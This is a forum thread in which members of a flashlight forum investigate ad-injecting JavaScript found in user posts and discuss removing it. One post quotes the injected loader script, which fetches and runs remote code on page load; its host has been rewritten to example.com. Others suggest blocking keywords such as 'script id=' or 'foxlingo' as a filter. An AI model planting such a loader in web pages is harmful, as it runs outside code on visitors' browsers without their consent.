Ads on BLF???

62 replies [Last post]
PilotPTK
Offline
Last seen: 4 hours 44 min ago
Title: ★★★★★
Joined: 09/04/2011
Posts: 1335
Location: Michigan, USA
sb56637 wrote:PilotPTK

sb56637 wrote:
PilotPTK wrote:
There is “stuff” after the word REPLACE that isn’t showing up..

Click This
http://budgetlightforum.com/comment/reply/16860/293043?quote=1#comment-form

And you’ll see it in the quote.. Just grab it from there and run it.

Ah, I see. Nice catch. You can enclose code segments in marks like this@ so the filter system doesn’t modify it.

Gotcha. I’m not use to Drupal. I tried enclosing it in [CODE] and [/CODE] tags, which didn’t work..
I updated the original post so that it’s correct for historical reference.

__________________

I am currently extremely busy with work. Please do not expect a response from me quickly. I will be dropping in as time permits, but the amount of time I can dedicate to responding to topics and PMs is very limited.

NightCrawl
Offline
Last seen: 2 hours 36 min ago
Title: ★★★★★
Joined: 01/22/2012
Posts: 2630
Location: Karlsruhe, Germany
This board could use  a

This board could use  a [code][/code] feature.. and an "ignorance" mode for that javascript stuff. Tongue

@<script id="FoxLingoJs" type="text/javascript">// <![CDATA[
!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//example.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
// ]]></script>@

But @@ works.. kinda. Didnt quite work on the admins post scaru quoted.

PilotPTK
Offline
Last seen: 4 hours 44 min ago
Title: ★★★★★
Joined: 09/04/2011
Posts: 1335
Location: Michigan, USA
To prevent this in the

To prevent this in the future, adding the word “javascript” to the “Bad Words” list in Drupal should do the trick.

__________________

I am currently extremely busy with work. Please do not expect a response from me quickly. I will be dropping in as time permits, but the amount of time I can dedicate to responding to topics and PMs is very limited.

scaru
scaru's picture
Offline
Last seen: 1 hour 10 min ago
Title: ★★★★★
Joined: 03/22/2012
Posts: 6691
Location: Virginia
PilotPTK wrote:To prevent

PilotPTK wrote:
To prevent this in the future, adding the word "javascript" to the "Bad Words" list in Drupal should do the trick.

Couldn't he just add something more specific like "script id=" so that java code wouldn't work, but people could still say the word javascript. 

PilotPTK
Offline
Last seen: 4 hours 44 min ago
Title: ★★★★★
Joined: 09/04/2011
Posts: 1335
Location: Michigan, USA
scaru wrote:PilotPTK wrote:To

scaru wrote:

PilotPTK wrote:
To prevent this in the future, adding the word “javascript” to the “Bad Words” list in Drupal should do the trick.

Couldn’t he just add something more specific like “script id=” so that java code wouldn’t work, but people could still say the word javascript. 

Yeah. I suppose. Who would want to say javascript (Bleh) though? Smile

In most cases, javascript is the problem, not the solution.

__________________

I am currently extremely busy with work. Please do not expect a response from me quickly. I will be dropping in as time permits, but the amount of time I can dedicate to responding to topics and PMs is very limited.

sb56637
sb56637's picture
Offline
Last seen: 1 hour 35 min ago
Title: ==Administrator==
Joined: 01/08/2010
Posts: 3638
Location: The dark
PilotPTK wrote:To prevent

PilotPTK wrote:
To prevent this in the future, adding the word “javascript” to the “Bad Words” list in Drupal should do the trick.

The thing is, many of our users like to do beamshots with mouseover comparisons, which would also be eliminated.

__________________

Budget Light Forum ...where Frugal meets with Flashlight!

scaru
scaru's picture
Offline
Last seen: 1 hour 10 min ago
Title: ★★★★★
Joined: 03/22/2012
Posts: 6691
Location: Virginia
sb56637 wrote:PilotPTK

sb56637 wrote:
PilotPTK wrote:
To prevent this in the future, adding the word "javascript" to the "Bad Words" list in Drupal should do the trick.
The thing is, many of our users like to do beamshots with mouseover comparisons, which would also be eliminated.

Oh, in that case (I use them to) maybe just block "foxlingo" to atleast stop these ads. 

PilotPTK
Offline
Last seen: 4 hours 44 min ago
Title: ★★★★★
Joined: 09/04/2011
Posts: 1335
Location: Michigan, USA
Looks like you did the update

Looks like you did the update to example.com… How long did that update query take to run? How many records modified? Just curious..

__________________

I am currently extremely busy with work. Please do not expect a response from me quickly. I will be dropping in as time permits, but the amount of time I can dedicate to responding to topics and PMs is very limited.

sb56637
sb56637's picture
Offline
Last seen: 1 hour 35 min ago
Title: ==Administrator==
Joined: 01/08/2010
Posts: 3638
Location: The dark
PilotPTK wrote:Looks like you

PilotPTK wrote:
Looks like you did the update to example.com… How long did that update query take to run? How many records modified? Just curious..

Worked great, thanks! 25 records were modified.

So, after the two affected users are notified, I would like to remove the whole script. How can I do that with an SQL query? I’m sure many of those characters need to be escaped somehow. Here’s the original offending code: http://pastebin.com/FGNr0dZH

Thanks a ton for the technical support PilotPTK!

__________________

Budget Light Forum ...where Frugal meets with Flashlight!

PilotPTK
Offline
Last seen: 4 hours 44 min ago
Title: ★★★★★
Joined: 09/04/2011
Posts: 1335
Location: Michigan, USA
My pleasure sb, Removing

My pleasure sb,

Removing the entire offending code is a little more complex. I’d have to see exactly how it looks in the actual SQL return.

If it’s pointing to example.com now, it’s really pretty harmless.. I’m not sure I’d even waste the time cleaning up those 25 posts..

__________________

I am currently extremely busy with work. Please do not expect a response from me quickly. I will be dropping in as time permits, but the amount of time I can dedicate to responding to topics and PMs is very limited.

FlashPilot
FlashPilot's picture
Offline
Last seen: 16 hours 58 min ago
Title: ★★★★★
Joined: 05/10/2010
Posts: 2137
Location: USA
Blinders wrote:ezarc wrote:I

Blinders wrote:
ezarc wrote:
I have ads (when AdBlock is turned off)

Whats more interesting to me is that you have 15 BLF tabs open :bigsmile:

Wow, 15 BLF tabs open.. So YOURE the reason I keep getting the DRUPAL error…

LMAO! Very disturbing indeed! Big smile

flash.light
flash.light's picture
Offline
Last seen: 6 weeks 3 days ago
Title: ★★★
Joined: 09/04/2012
Posts: 274
Location: US
GREAT, just GREAT investigation PilotPTK!!!

GREAT, GREAT investigation PilotPTK!!!

May I humbly add:

devman’s prior post got me looking at adnxs.com

devman wrote:
The sidebar was a javascript-added div tag that redirected users to lax1.ib.adnxs.com/click

This resolved to http://www.appnexus.com… they claim (CAPS are in their original text) weebay, faceb00k and others as their clients

  • APPNEXUS IS TODAY’S MOST POWERFUL, OPEN AND CUSTOMIZABLE ADVERTISING TECHNOLOGY PLATFORM. ADVERTISING’S LARGEST AND MOST INNOVATIVE COMPANIES BUILD THEIR BUSINESSES ON APPNEXUS.

as well as

  • MAKING ADVERTISING A FORCE FOR GOOD

Going through their site, seems legitimate business but they’re really f&%$#round and – in our situation – way too oppressive.

Here’s some screen capture “analyses” of the problems here with the javascript… hope these can assist with cleaning

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.